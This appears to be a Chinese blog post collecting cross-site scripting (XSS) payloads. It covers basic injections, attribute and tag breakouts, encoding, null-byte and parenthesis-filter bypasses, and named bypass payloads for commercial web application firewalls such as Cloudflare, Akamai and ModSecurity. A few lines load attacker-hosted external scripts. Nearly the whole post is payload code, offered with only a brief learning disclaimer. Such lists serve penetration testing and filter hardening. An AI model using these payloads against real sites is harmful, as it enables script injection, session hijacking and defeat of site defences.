• [WEB安全]XSS命令总结


    一:正常构造方式:

    1、无过滤,直接写:
    <script>alert(1)</script>

    2、正常截断:

    "> <script>alert(1)</script>
    '> <script>alert(1)</script>
    

    3、不用<>尖括号:

    " onmouseover=alert(1) 空格
    ' onmouseover=alert(1) 空格
    ' onclick=alert(1) 空格
    " onfocus=alert(1) autofocus="
    

    4、内联框架注入:
    "><iframe src=javascript:alert(1)>

    5、超链接注入:
    "> <a href="javascript:alert(1)">漏洞</a>

    6、alert(1)中的小括号:可用反单引号替代:`;也可以用/

    7、当()与反单引号被过滤时,可使用如下:

    - <iframe srcdoc="<script>parent.alert&#40;1&#41;</script>"
    - <svg><script>alert&#40;1&#41</script>
    

    8、存在注释符的话,可用或<!-- --!>绕过

    9、str_replace()函数是区分大小写的

    10、黑名单的时候可以使用URL编码等进行编码的方式:
    javascrip&#x74;:alert(1)、javasc&#x72;ipt:alert'1'

    11、可利用注释符(//)与换行/回车(%0a/%0d)绕过各种规定方式(比如必须添加某些参数或者无法输入空格等)

    12、外链xss脚本:
    <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

    13、IMG标签型:

    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    <IMG SRC=&#x6A&#x61&#x76&#x61(16进制编码)&#x58&#x53&#x53&#x27&#x29>
    

    14、嵌入式标签:

    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC="javascript:alert('XSS');">(嵌入式编码标签)
    <IMG SRC="javascript:alert('XSS');">(嵌入式换行符)(嵌入式回车)
    

    15、双开括号:
    <<SCRIPT>alert(“XSS”);//<</SCRIPT>

    16、BODY图片:
    <BODY BACKGROUND="javascript:alert('XSS')">

    17、IMG Dynsrc:
    <IMG DYNSRC="javascript:alert('XSS')">
    IMG Lowsrc:

    <IMG LOWSRC="javascript:alert('XSS')">
    

    18、DIV background-image:

    > <DIV STYLE="background-image:url(javascript:alert('XSS'))">
    

    19、javascript链接:

    <A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
    

    20、embed:
    <embed src="javascript:alert(1)">

    21、video:
    <video onerror="alert(1)">

    22、在JavaScript中可以进行Unicode转义、十六进制和八进制转义。此外,字符串中的多余转义字符串将被忽略。

    <script>a u006cert(1) ;</script>
    <script>eval(‘ au006cert(1) ’);</script> 
    <script>eval(‘ ax6cert(1) ’);</script> 
    <script>eval(‘ a154ert(1) ’);</script>
    <script>eval(‘ a1ert(1) ’);</script>
    

    二:绕过方式

    1、双url编码
    把% url编码成 %25 ,如果后台对参数有再次进行url decode 或者输出的时候有 url decode 就可以绕过WAF。

    2、base64编码
    WAF不拦截 <> ,但拦截 script onXXXX , 用base64 绕过。

    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">
    

    3、HTML实体编码绕过
    (1)解释:实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的。

    payload:

    <a href='javascript:alert&#40;&#39;123&#39;&#41;'>hello</a>
    <a href="j&#97;vascript:alert&#0000040;'123'&#41;">hello</a>
    

    tip:
    (2)其实在标签里的伪协议js代码,是可以不用用双引号引起来的。
    加上eval函数后(eval认识 x十六进制 八进制 u unicode编码)

    <a href="j&#97;vascript:eval('&#;u0091x65x72x74x28x22x31x22x29')">hello</a>
    

    (3)如果页面直接显示输入内容,可以先html 编码,再url 编码。

    <svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>

    4、过滤 /script

    <%2fscript>
    <%252fscript>
    <%252fScRipt>
    <%252fScrIPt%20>
    <%252fsCrIpt+ipT%20>
    

    5、过滤括号
    当括号被过滤的时候可以使用throw来绕过:

    <a onmouseover="javascript:window.onerror=alert;throw 1>
    <img src=x onerror="javascript:window.onerror=alert;throw 1">
    

    6、利用0字节绕过

    <scri%00pt>alert(1);</scri%00pt>
    <scrix00pt>alert(1);</scri%00pt>
    <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
    

    7、先拆分再组合
    <script>var a='h';var b='://';document.write('<script src="'+a+'ttp'+b+'xss.tw/xxx"></script>');</script>

    8、利用ascii编码绕过

    <img/ /μ src=x onerror=alert(1)//>
    <img src=x17x17 onerror=alert(1)//>
    <img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
    

    9、过滤括号和分号
    你可以使用花括号来进行语句隔离,将onerror整体放入花括号中。这样就避免了使用分号:
    <script>{onerror=alert}throw 1337</script>

    三:常见的waf bypass

    WAF名称:Cloudflare
    Payload:<a”/onclick=(confirm)()>click
    绕过技术:非空格填充
    
    WAF名称:Wordfence
    Payload:<a/href=javascript&colon;alert()>click
    绕过技术:数字字符编码
    
    WAF名称:Barracuda
    Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click
    绕过技术:数字字符编码
    
    WAF名称:Akamai
    Payload:<d3v/onauxclick=[2].some(confirm)>click
    绕过技术:黑名单中缺少事件处理器以及函数调用混淆
    
    WAF名称:Comodo
    Payload:<d3v/onauxclick=(((confirm)))“>click
    绕过技术:黑名单中缺少事件处理器以及函数调用混淆
    
    WAF名称:F5
    Payload:<d3v/onmouseleave=[2].some(confirm)>click
    绕过技术:黑名单中缺少事件处理器以及函数调用混淆
    
    WAF名称:ModSecurity
    Payload:<details/open/ontoggle=alert()>
    绕过技术:黑名单中缺少标签或事件处理器
    
    WAF名称:dotdefender
    Payload:<details/open/ontoggle=(confirm)()//
    
    
    ----------------------------------------------------------------------------
    作者:肖洋肖恩、
    QQ: MjYwNjAxMzE5
    ----------------------------------------------------------------------------
    文中可能会存在纰漏,若发现请联系与我。
    本文所有代码仅可用于站长自我检测与学习,如用于非法攻击一切后果自负。
  • 相关阅读:
    vue-router在两个以上子路由的情况下,跳转出错
    全局window下添加可变量
    nuxtjs 环境中添加全局axios
    nuxt.js 初始化 npm run dev 报错
    replace的回调函数。
    JS面向对象的类 实例化与继承
    DOM事件: DOM事件级别、DOM事件流、DOM事件模型、DOM事件捕获过程、自定义事件
    sync 简单实现 父子组件的双向绑定
    cube-ui 重构饿了吗Webapp的 scroll-nav域名插槽问题
    在element table中导出指定列信息
  • 原文地址:https://www.cnblogs.com/-mo-/p/11229183.html
Copyright © 2020-2023  润新知